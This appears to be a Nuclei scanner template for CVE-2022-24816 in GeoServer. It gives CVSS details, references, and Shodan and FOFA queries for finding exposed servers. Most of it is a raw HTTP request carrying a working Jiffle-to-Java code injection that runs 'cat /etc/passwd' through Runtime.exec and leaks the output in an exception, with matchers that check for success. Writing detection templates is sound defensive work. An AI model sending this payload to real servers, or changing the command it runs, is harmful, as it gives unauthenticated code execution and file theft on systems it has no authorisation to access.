id: CVE-2022-24816 info: name: Geoserver Server - Code Injection author: mukundbhuva severity: critical description: | Programs using jt-jiffle, and allowing Jiffle script to be provided via network request, are susceptible to a Remote Code Execution as the Jiffle script is compiled into Java code via Janino, and executed. In particular, this affects the downstream GeoServer project Version < 1.1.22. reference: - https://www.synacktiv.com/en/publications/exploiting-cve-2022-24816-a-code-injection-in-the-jt-jiffle-extension-of-geoserver.html - https://nvd.nist.gov/vuln/detail/CVE-2022-24816 - https://github.com/geosolutions-it/jai-ext/security/advisories/GHSA-v92f-jx6p-73rx - https://github.com/geosolutions-it/jai-ext/commit/cb1d6565d38954676b0a366da4f965fef38da1cb classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-24816 cwe-id: CWE-94 metadata: fofa-query: app="GeoServer" shodan-query: /geoserver/ verified: "true" tags: cve,cve2022,geoserver,rce requests: - raw: - | POST /geoserver/wms HTTP/1.1 Host: {{Hostname}} Content-Type: application/xml ras:Jiffle coverage script dest = y() - (500); // */ public class Double { public static double NaN = 0; static { try { java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cat /etc/passwd").getInputStream())); String line = null; String allLines = " - "; while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /** outputType DOUBLE result matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" - "ExceptionInInitializerError" condition: and - type: status status: - 200